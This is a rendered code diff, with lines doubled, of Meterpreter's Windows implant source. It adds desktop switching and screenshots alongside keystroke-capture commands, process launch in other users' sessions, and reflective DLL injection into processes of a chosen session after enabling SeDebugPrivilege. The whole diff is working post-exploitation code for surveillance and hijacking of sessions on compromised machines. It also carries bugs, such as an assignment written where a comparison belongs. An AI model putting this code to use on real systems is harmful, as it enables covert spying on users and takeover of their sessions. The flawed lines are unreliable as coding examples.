dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", methodTlv.buffer, GetLastError()); dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", methodTlv.buffer, GetLastError());
} }
} }
// Get the request identifier if the packet has one. // Get the request identifier if the packet has one.
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv ); result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
if( result == ERROR_SUCCESS ) if( result == ERROR_SUCCESS )

View File

@ -89,6 +89,53 @@ HANDLE core_update_thread_token(Remote *remote, HANDLE token)
return(token); return(token);
} }
/*
* Update the session/station/desktop to be used by multi threaded meterpreter for desktop related operations.
* We dont store the handles as it is more convienient to use string,s especially as we cant use the regular API
* to break out of sessions.
* Note: It is up to the caller to free any station/desktop name provided as internally we use strdup.
*/
VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName )
{
DWORD temp_session = -1;
char * temp_station = NULL;
char * temp_desktop = NULL;
lock_acquire( remote->lock );
do
{
temp_session = remote->dwCurrentSessionId;
// A session id of -1 resets the state back to the servers real session id
if( dwSessionID = -1 )
dwSessionID = remote->dwOrigSessionId;
// Assign the new session id
remote->dwCurrentSessionId = dwSessionID;
temp_station = remote->cpCurrentStationName;
// A NULL station resets the station back to the origional process window station
if( !cpStationName )
cpStationName = remote->cpOrigStationName;
// Assign the current window station name to use
remote->cpCurrentStationName = _strdup( cpStationName );
// free the memory for the old station name if its not one of the two active names
if( temp_station && temp_station != remote->cpOrigStationName && temp_station != remote->cpCurrentStationName )
free( temp_station );
temp_desktop = remote->cpCurrentDesktopName;
// A NULL station resets the desktop back to the origional process desktop
if( !cpDesktopName )
cpDesktopName = remote->cpOrigDesktopName;
// Assign the current window desktop name to use
remote->cpCurrentDesktopName = _strdup( cpDesktopName );
// free the memory for the old desktop name if its not one of the two active names
if( temp_desktop && temp_desktop != remote->cpOrigDesktopName && temp_desktop != remote->cpCurrentDesktopName )
free( temp_desktop );
} while( 0 );
lock_release( remote->lock );
}
/******************* /*******************
* Packet Routines * * Packet Routines *
*******************/ *******************/

View File

@ -203,4 +203,5 @@ LINKAGE DWORD packet_remove_completion_handler(LPCSTR requestId);
*/ */
LINKAGE DWORD send_core_console_write(Remote *remote, LPCSTR fmt, ...); LINKAGE DWORD send_core_console_write(Remote *remote, LPCSTR fmt, ...);
LINKAGE HANDLE core_update_thread_token(Remote *remote, HANDLE token); LINKAGE HANDLE core_update_thread_token(Remote *remote, HANDLE token);
LINKAGE VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName );
#endif #endif

View File

@ -20,6 +20,13 @@ typedef struct _Remote
HANDLE hServerThread; HANDLE hServerThread;
HANDLE hServerToken; HANDLE hServerToken;
HANDLE hThreadToken; HANDLE hThreadToken;
DWORD dwOrigSessionId;
DWORD dwCurrentSessionId;
char * cpOrigStationName;
char * cpCurrentStationName;
char * cpOrigDesktopName;
char * cpCurrentDesktopName;
} Remote; } Remote;
Remote *remote_allocate(SOCKET fd); Remote *remote_allocate(SOCKET fd);

View File

@ -288,20 +288,32 @@ Command customCommands[] =
{ request_ui_get_idle_time, { 0 }, 0 }, { request_ui_get_idle_time, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER },
}, },
{ "stdapi_ui_grabdesktop",
{ request_ui_grabdesktop, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_start_keyscan", { "stdapi_ui_start_keyscan",
{ request_ui_start_keyscan, { 0 }, 0 }, { request_ui_start_keyscan, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER },
}, },
{ "stdapi_ui_stop_keyscan", { "stdapi_ui_stop_keyscan",
{ request_ui_stop_keyscan, { 0 }, 0 }, { request_ui_stop_keyscan, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER },
}, },
{ "stdapi_ui_get_keys", { "stdapi_ui_get_keys",
{ request_ui_get_keys, { 0 }, 0 }, { request_ui_get_keys, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_enum",
{ request_ui_desktop_enum, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_get",
{ request_ui_desktop_get, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_set",
{ request_ui_desktop_set, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_screenshot",
{ request_ui_desktop_screenshot, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER },
}, },

View File

@ -471,6 +471,8 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
core_update_thread_token( remote, NULL ); core_update_thread_token( remote, NULL );
core_update_desktop( remote, -1, NULL, NULL );
if( !RevertToSelf() ) if( !RevertToSelf() )
dwResult = GetLastError(); dwResult = GetLastError();

View File

@ -1,5 +1,6 @@
#include "precomp.h" #include "precomp.h"
#include "ps.h" // include the code for listing proceses #include "ps.h" // include the code for listing proceses
#include "./../session.h"
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */ #include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
/* /*
@ -92,6 +93,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
Tlv inMemoryData; Tlv inMemoryData;
BOOL doInMemory = FALSE; BOOL doInMemory = FALSE;
HANDLE token, pToken; HANDLE token, pToken;
char * cpDesktop = NULL;
DWORD session = 0;
dprintf( "[PROCESS] request_sys_process_execute" ); dprintf( "[PROCESS] request_sys_process_execute" );
@ -111,20 +114,36 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
break; break;
// Get the execution arguments // Get the execution arguments
arguments = packet_get_tlv_value_string(packet, arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
TLV_TYPE_PROCESS_ARGUMENTS); path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
path = packet_get_tlv_value_string(packet, flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
TLV_TYPE_PROCESS_PATH);
flags = packet_get_tlv_value_uint(packet,
TLV_TYPE_PROCESS_FLAGS);
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
&inMemoryData) == ERROR_SUCCESS)
{ {
doInMemory = TRUE; doInMemory = TRUE;
createFlags |= CREATE_SUSPENDED; createFlags |= CREATE_SUSPENDED;
} }
if( flags & PROCESS_EXECUTE_FLAG_DESKTOP )
{
do
{
cpDesktop = (char *)malloc( 512 );
if( !cpDesktop )
break;
memset( cpDesktop, 0, 512 );
lock_acquire( remote->lock );
_snprintf( cpDesktop, 512, "%s\\%s", remote->cpCurrentStationName, remote->cpCurrentDesktopName );
lock_release( remote->lock );
si.lpDesktop = cpDesktop;
} while( 0 );
}
// If the remote endpoint provided arguments, combine them with the // If the remote endpoint provided arguments, combine them with the
// executable to produce a command line // executable to produce a command line
@ -174,8 +193,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
chops.read = process_channel_read; chops.read = process_channel_read;
// Allocate the pool channel // Allocate the pool channel
if (!(newChannel = channel_create_pool(0, if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
CHANNEL_FLAG_SYNCHRONOUS, &chops)))
{ {
result = ERROR_NOT_ENOUGH_MEMORY; result = ERROR_NOT_ENOUGH_MEMORY;
break; break;
@ -185,8 +203,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
channel_set_type(newChannel, "process"); channel_set_type(newChannel, "process");
// Allocate the stdin and stdout pipes // Allocate the stdin and stdout pipes
if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
(!CreatePipe(&out[0], &out[1], &sa, 0)))
{ {
channel_destroy(newChannel, NULL); channel_destroy(newChannel, NULL);
@ -212,8 +229,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
ctx->pStdout = out[0]; ctx->pStdout = out[0];
// Add the channel identifier to the response packet // Add the channel identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
channel_get_id(newChannel));
} }
// If the hidden flag is set, create the process hidden // If the hidden flag is set, create the process hidden
@ -243,18 +259,63 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
} }
// Try to execute the process with duplicated token // Try to execute the process with duplicated token
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
createFlags, NULL, NULL, &si, &pi))
{ {
result = GetLastError(); result = GetLastError();
break; break;
} }
} }
else if( flags & PROCESS_EXECUTE_FLAG_SESSION )
{
typedef BOOL (WINAPI * WTSQUERYUSERTOKEN)( ULONG SessionId, PHANDLE phToken );
WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
HANDLE hToken = NULL;
HMODULE hWtsapi32 = NULL;
BOOL bSuccess = FALSE;
DWORD dwResult = ERROR_SUCCESS;
do
{
// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
hWtsapi32 = LoadLibraryA( "wtsapi32.dll" );
session = packet_get_tlv_value_uint( packet, TLV_TYPE_PROCESS_SESSION );
if( session_id( GetCurrentProcessId() ) == session || !hWtsapi32 )
{
if( !CreateProcess( NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
BREAK_ON_ERROR( "[PROCESS] execute in self session: CreateProcess failed" );
}
else
{
pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress( hWtsapi32, "WTSQueryUserToken" );
if( !pWTSQueryUserToken )
BREAK_ON_ERROR( "[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed" );
if( !pWTSQueryUserToken( session, &hToken ) )
BREAK_ON_ERROR( "[PROCESS] execute in session: WTSQueryUserToken failed" );
if( !CreateProcessAsUser( hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
BREAK_ON_ERROR( "[PROCESS] execute in session: CreateProcessAsUser failed" );
}
} while( 0 );
if( hWtsapi32 )
FreeLibrary( hWtsapi32 );
if( hToken )
CloseHandle( hToken );
result = dwResult;
if( result != ERROR_SUCCESS )
break;
}
else else
{ {
// Try to execute the process // Try to execute the process
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
createFlags, NULL, NULL, &si, &pi))
{ {
result = GetLastError(); result = GetLastError();
break; break;
@ -270,10 +331,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
// Unmap the dummy executable and map in the new executable into the // Unmap the dummy executable and map in the new executable into the
// target process // target process
// //
if (!MapNewExecutableRegionInProcess( if (!MapNewExecutableRegionInProcess( pi.hProcess, pi.hThread, inMemoryData.buffer))
pi.hProcess,
pi.hThread,
inMemoryData.buffer))
{ {
result = GetLastError(); result = GetLastError();
break; break;
@ -291,10 +349,9 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
} }
// Add the process identifier to the response packet // Add the process identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_PID, packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);
pi.dwProcessId);
packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE, packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,(DWORD)pi.hProcess);
(DWORD)pi.hProcess);
CloseHandle(pi.hThread); CloseHandle(pi.hThread);
@ -312,6 +369,9 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
if (path && arguments && commandLine) if (path && arguments && commandLine)
free(commandLine); free(commandLine);
if( cpDesktop )
free( cpDesktop );
packet_transmit_response(result, remote, response); packet_transmit_response(result, remote, response);
return ERROR_SUCCESS; return ERROR_SUCCESS;

View File

@ -1,12 +1,88 @@
#include "precomp.h" #include "precomp.h"
#include "ps.h" #include "ps.h"
#include "./../session.h"
#include "./../../../../../common/arch/win/i386/base_inject.h"
/*
* Get the arch type (either x86 or x64) for a given PE (either PE32 or PE64) DLL image.
*/
DWORD ps_getarch_dll( LPVOID lpDllBuffer )
{
DWORD dwDllArch = PROCESS_ARCH_UNKNOWN;
PIMAGE_NT_HEADERS pNtHeader = NULL;
do
{
if( !lpDllBuffer )
break;
// get the File Offset of the modules NT Header
pNtHeader = (PIMAGE_NT_HEADERS)( ((UINT_PTR)lpDllBuffer) + ((PIMAGE_DOS_HEADER)lpDllBuffer)->e_lfanew );
if( pNtHeader->OptionalHeader.Magic == 0x010B ) // PE32
dwDllArch = PROCESS_ARCH_X86;
else if( pNtHeader->OptionalHeader.Magic == 0x020B ) // PE64
dwDllArch = PROCESS_ARCH_X64;
} while( 0 );
return dwDllArch;
}
/*
* Inject a DLL into another process via Reflective DLL Injection.
*/
DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, char * cpCommandLine )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
DWORD dwPidArch = PROCESS_ARCH_UNKNOWN;
DWORD dwDllArch = PROCESS_ARCH_UNKNOWN;
LPVOID lpDllBuffer = NULL;
DWORD dwDllLenght = 0;
do
{
if( !pDllBuffer )
BREAK_WITH_ERROR( "[PS] ps_inject_dll. No Dll buffer specified", ERROR_INVALID_PARAMETER );
dwPidArch = ps_getarch( dwPid );
if( dwPidArch == PROCESS_ARCH_X86 )
{
lpDllBuffer = pDllBuffer->lpPE32DllBuffer;
dwDllLenght = pDllBuffer->dwPE32DllLenght;
}
else if( dwPidArch == PROCESS_ARCH_X64 )
{
lpDllBuffer = pDllBuffer->lpPE64DllBuffer;
dwDllLenght = pDllBuffer->dwPE64DllLenght;
}
else
{
BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine target pid arhitecture", ERROR_INVALID_DATA );
}
dwDllArch = ps_getarch_dll( lpDllBuffer );
if( dwDllArch == PROCESS_ARCH_UNKNOWN )
BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine DLL arhitecture", ERROR_BAD_FORMAT );
if( dwDllArch != dwPidArch )
BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT );
dwResult = inject_dll( dwPid, lpDllBuffer, dwDllLenght, cpCommandLine );
} while( 0 );
return dwResult;
}
/* /*
* Get the architecture of the given process. * Get the architecture of the given process.
*/ */
DWORD ps_getarch( DWORD pid, DWORD dwNativeArch ) DWORD ps_getarch( DWORD dwPid )
{ {
DWORD result = PROCESS_ARCH_UNKNOWN; DWORD result = PROCESS_ARCH_UNKNOWN;
static DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
HANDLE hKernel = NULL; HANDLE hKernel = NULL;
HANDLE hProcess = NULL; HANDLE hProcess = NULL;
ISWOW64PROCESS pIsWow64Process = NULL; ISWOW64PROCESS pIsWow64Process = NULL;
@ -14,6 +90,10 @@ DWORD ps_getarch( DWORD pid, DWORD dwNativeArch )
do do
{ {
// grab the native systems architecture the first time we use this function...
if( dwNativeArch == PROCESS_ARCH_UNKNOWN )
dwNativeArch = ps_getnativearch();
// first we default to 'x86' as if kernel32!IsWow64Process is not present then we are on an older x86 system. // first we default to 'x86' as if kernel32!IsWow64Process is not present then we are on an older x86 system.
result = PROCESS_ARCH_X86; result = PROCESS_ARCH_X86;
@ -28,10 +108,10 @@ DWORD ps_getarch( DWORD pid, DWORD dwNativeArch )
// now we must default to an unknown architecture as the process may be either x86/x64 and we may not have the rights to open it // now we must default to an unknown architecture as the process may be either x86/x64 and we may not have the rights to open it
result = PROCESS_ARCH_UNKNOWN; result = PROCESS_ARCH_UNKNOWN;
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, dwPid );
if( !hProcess ) if( !hProcess )
{ {
hProcess = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid ); hProcess = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPid );
if( !hProcess ) if( !hProcess )
break; break;
} }
@ -319,13 +399,16 @@ BOOL ps_getusername( DWORD pid, char * cpUserName, DWORD dwUserNameSize )
*/ */
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch ) VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch )
{ {
Tlv entries[6] = {0}; Tlv entries[7] = {0};
DWORD dwSessionId = 0;
do do
{ {
if( !response ) if( !response )
break; break;
dwSessionId = session_id( dwPid );
dwPid = htonl( dwPid ); dwPid = htonl( dwPid );
entries[0].header.type = TLV_TYPE_PID; entries[0].header.type = TLV_TYPE_PID;
entries[0].header.length = sizeof( DWORD ); entries[0].header.length = sizeof( DWORD );
@ -358,20 +441,24 @@ VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpE
entries[5].header.type = TLV_TYPE_PARENT_PID; entries[5].header.type = TLV_TYPE_PARENT_PID;
entries[5].header.length = sizeof( DWORD ); entries[5].header.length = sizeof( DWORD );
entries[5].buffer = (PUCHAR)&dwParentPid; entries[5].buffer = (PUCHAR)&dwParentPid;
dwSessionId = htonl( dwSessionId );
entries[6].header.type = TLV_TYPE_PROCESS_SESSION;
entries[6].header.length = sizeof( DWORD );
entries[6].buffer = (PUCHAR)&dwSessionId;
packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 6 ); packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 );
} while(0); } while(0);
} }
/* /*
* Generate a process list via the kernel32!CreateToolhelp32Snapshot method. Works on Windows 200 and above. * Generate a process list via the kernel32!CreateToolhelp32Snapshot method. Works on Windows 2000 and above.
*/ */
DWORD ps_list_via_toolhelp( Packet * response ) DWORD ps_list_via_toolhelp( Packet * response )
{ {
DWORD result = ERROR_INVALID_HANDLE; DWORD result = ERROR_INVALID_HANDLE;
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL; CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL;
PROCESS32FIRST pProcess32First = NULL; PROCESS32FIRST pProcess32First = NULL;
PROCESS32NEXT pProcess32Next = NULL; PROCESS32NEXT pProcess32Next = NULL;
@ -400,8 +487,6 @@ DWORD ps_list_via_toolhelp( Packet * response )
if( !pProcess32First( hProcessSnap, &pe32 ) ) if( !pProcess32First( hProcessSnap, &pe32 ) )
break; break;
dwNativeArch = ps_getnativearch();
result = ERROR_SUCCESS; result = ERROR_SUCCESS;
@ -416,7 +501,7 @@ DWORD ps_list_via_toolhelp( Packet * response )
ps_getusername( pe32.th32ProcessID, (char *)&cUserName, 1024 ); ps_getusername( pe32.th32ProcessID, (char *)&cUserName, 1024 );
dwProcessArch = ps_getarch( pe32.th32ProcessID, dwNativeArch ); dwProcessArch = ps_getarch( pe32.th32ProcessID );
ps_addresult( response, pe32.th32ProcessID, pe32.th32ParentProcessID, pe32.szExeFile, cExePath, cUserName, dwProcessArch ); ps_addresult( response, pe32.th32ProcessID, pe32.th32ParentProcessID, pe32.szExeFile, cExePath, cUserName, dwProcessArch );
@ -442,7 +527,6 @@ DWORD ps_list_via_toolhelp( Packet * response )
DWORD ps_list_via_psapi( Packet * response ) DWORD ps_list_via_psapi( Packet * response )
{ {
DWORD result = ERROR_INVALID_HANDLE; DWORD result = ERROR_INVALID_HANDLE;
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
HMODULE hPsapi = NULL; HMODULE hPsapi = NULL;
ENUMPROCESSES pEnumProcesses = NULL; ENUMPROCESSES pEnumProcesses = NULL;
ENUMPROCESSMODULES pEnumProcessModules = NULL; ENUMPROCESSMODULES pEnumProcessModules = NULL;
@ -467,8 +551,6 @@ DWORD ps_list_via_psapi( Packet * response )
if( !pEnumProcesses( (DWORD *)&dwProcessIds, sizeof(dwProcessIds), &dwBytesReturned ) ) if( !pEnumProcesses( (DWORD *)&dwProcessIds, sizeof(dwProcessIds), &dwBytesReturned ) )
break; break;
dwNativeArch = ps_getnativearch();
result = ERROR_SUCCESS; result = ERROR_SUCCESS;
for( index=0 ; index<(dwBytesReturned/sizeof(DWORD)); index++ ) for( index=0 ; index<(dwBytesReturned/sizeof(DWORD)); index++ )
@ -502,7 +584,7 @@ DWORD ps_list_via_psapi( Packet * response )
ps_getusername( dwProcessIds[index], (char *)&cUserName, 1024 ); ps_getusername( dwProcessIds[index], (char *)&cUserName, 1024 );
dwProcessArch = ps_getarch( dwProcessIds[index], dwNativeArch ); dwProcessArch = ps_getarch( dwProcessIds[index] );
ps_addresult( response, dwProcessIds[index], 0, cExePath, cExePath, cUserName, dwProcessArch ); ps_addresult( response, dwProcessIds[index], 0, cExePath, cExePath, cUserName, dwProcessArch );
} }
@ -521,12 +603,9 @@ DWORD ps_list_via_psapi( Packet * response )
*/ */
DWORD ps_list_via_brute( Packet * response ) DWORD ps_list_via_brute( Packet * response )
{ {
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; DWORD pid = 0;
DWORD pid = 0;
dwNativeArch = ps_getnativearch();
for( pid=0 ; pid<0xFFFF ; pid++ ) for( pid=0 ; pid<0xFFFF ; pid++ )
{ {
HANDLE hProcess = NULL; HANDLE hProcess = NULL;
@ -546,7 +625,7 @@ DWORD ps_list_via_brute( Packet * response )
ps_getusername( pid, (char *)&cUserName, 1024 ); ps_getusername( pid, (char *)&cUserName, 1024 );
dwProcessArch = ps_getarch( pid, dwNativeArch ); dwProcessArch = ps_getarch( pid );
ps_addresult( response, pid, 0, cExeName, cExePath, cUserName, dwProcessArch ); ps_addresult( response, pid, 0, cExeName, cExePath, cUserName, dwProcessArch );
} }

View File

@ -25,6 +25,14 @@ typedef DWORD (WINAPI * GETMODULEBASENAMEA)( HANDLE hProcess, HMODULE hModule, L
//===============================================================================================// //===============================================================================================//
typedef struct _DLL_BUFFER
{
LPVOID lpPE32DllBuffer;
DWORD dwPE32DllLenght;
LPVOID lpPE64DllBuffer;
DWORD dwPE64DllLenght;
} DLL_BUFFER;
typedef struct _PROCESS_BASIC_INFORMATION typedef struct _PROCESS_BASIC_INFORMATION
{ {
PVOID Reserved1; PVOID Reserved1;
@ -55,6 +63,12 @@ typedef struct _RTL_USER_PROCESS_PARAMETERS
//===============================================================================================// //===============================================================================================//
DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, char * cpCommandLine );
DWORD ps_getarch( DWORD dwPid );
DWORD ps_getnativearch( VOID );
DWORD ps_list_via_toolhelp( Packet * response ); DWORD ps_list_via_toolhelp( Packet * response );
DWORD ps_list_via_psapi( Packet * response ); DWORD ps_list_via_psapi( Packet * response );

View File

@ -0,0 +1,198 @@
#include "precomp.h"
#include "session.h"
/*
* Returns the session id associated with a process.
* Returns -1 if we cant determine the session id (e.g. insufficient privileges).
* Returns 0 by default on NT4.
*/
DWORD session_id( DWORD dwProcessId )
{
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
HMODULE hKernel = NULL;
DWORD dwSessionId = 0;
do
{
if( !pProcessIdToSessionId )
{
hKernel = LoadLibrary( "kernel32.dll" );
if( hKernel )
pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" );
}
if( !pProcessIdToSessionId )
break;
if( !pProcessIdToSessionId( dwProcessId, &dwSessionId ) )
dwSessionId = -1;
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwSessionId;
}
/*
* Returns the session id attached to the physical console.
* Returns 0 by default on NT4 and 2000.
*/
DWORD session_activeid()
{
typedef DWORD (WINAPI * WTSGETACTIVECONSOLESESSIONID )( VOID );
static WTSGETACTIVECONSOLESESSIONID pWTSGetActiveConsoleSessionId = NULL;
HMODULE hKernel = NULL;
DWORD dwSessionId = 0;
do
{
if( !pWTSGetActiveConsoleSessionId )
{
hKernel = LoadLibrary( "kernel32.dll" );
if( hKernel )
pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" );
}
if( !pWTSGetActiveConsoleSessionId )
break;
dwSessionId = pWTSGetActiveConsoleSessionId();
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwSessionId;
}
/*
* On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available.
*/
DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, char * cpCommandLine )
{
DWORD dwResult = ERROR_INVALID_HANDLE;
DWORD pid = 0;
do
{
for( pid=0 ; pid<0xFFFF ; pid++ )
{
HANDLE hProcess = NULL;
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid );
if( !hProcess )
continue;
CloseHandle( hProcess );
if( dwSessionId == session_id( pid ) )
{
dwResult = ps_inject( pid, pDllBuffer, cpCommandLine );
if( dwResult == ERROR_SUCCESS )
{
dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid );
break;
}
}
}
} while( 0 );
return dwResult;
}
/*
* Inject an arbitrary DLL into a process running in specific Windows session.
*/
DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, char * cpCommandLine )
{
DWORD dwResult = ERROR_INVALID_HANDLE;
CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL;
PROCESS32FIRST pProcess32First = NULL;
PROCESS32NEXT pProcess32Next = NULL;
HANDLE hProcessSnap = NULL;
HMODULE hKernel = NULL;
HANDLE hToken = NULL;
BOOL bUseBruteForce = TRUE;
PROCESSENTRY32 pe32 = {0};
do
{
// If we can, get SeDebugPrivilege...
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
TOKEN_PRIVILEGES priv = {0};
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
{
if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) );
dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" );
}
CloseHandle( hToken );
}
hKernel = LoadLibrary( "kernel32" );
if( !hKernel )
break;
pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" );
pProcess32First = (PROCESS32FIRST)GetProcAddress( hKernel, "Process32First" );
pProcess32Next = (PROCESS32NEXT)GetProcAddress( hKernel, "Process32Next" );
if( !pCreateToolhelp32Snapshot || !pProcess32First || !pProcess32Next )
break;
hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
break;
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !pProcess32First( hProcessSnap, &pe32 ) )
break;
bUseBruteForce = FALSE;
do
{
if( dwSessionId == session_id( pe32.th32ProcessID ) )
{
// On Windows 2008R2 we Blue Screen the box if we inject via APC injection
// into the target sessions instance of csrss.exe!!! so we filter it out...
if( strstr( pe32.szExeFile, "csrss.exe" ) )
continue;
dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer, cpCommandLine );
if( dwResult == ERROR_SUCCESS )
{
dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile );
break;
}
}
} while( pProcess32Next( hProcessSnap, &pe32 ) );
} while( 0 );
if( hProcessSnap )
CloseHandle( hProcessSnap );
if( hKernel )
FreeLibrary( hKernel );
// On NT4 we must brute force the process list...
if( bUseBruteForce )
dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer, cpCommandLine );
return dwResult;
}

View File

@ -0,0 +1,15 @@
//===============================================================================================//
#ifndef _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_SESSION_PS_H
#define _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_SESSION_PS_H
//===============================================================================================//
#include "./process/ps.h"
DWORD session_id( DWORD dwProcessId );
DWORD session_activeid();
DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, char * cpCommandLine );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,440 @@
#include "precomp.h"
#include "./../sys/session.h"
#include "./../sys/process/ps.h"
typedef struct _DESKTOPLIST
{
DWORD dwSessionId;
char * cpStationName;
Packet * response;
} DESKTOPLIST, *LPDESKTOPLIST;
/*
* Callback function for EnumDesktops when listing desktops on a station during desktop_list().
*/
BOOL CALLBACK desktop_enumdesktops_callback( LPTSTR cpDesktopName, LPARAM lpParam )
{
DESKTOPLIST * dl = NULL;
Tlv entry[3] = {0};
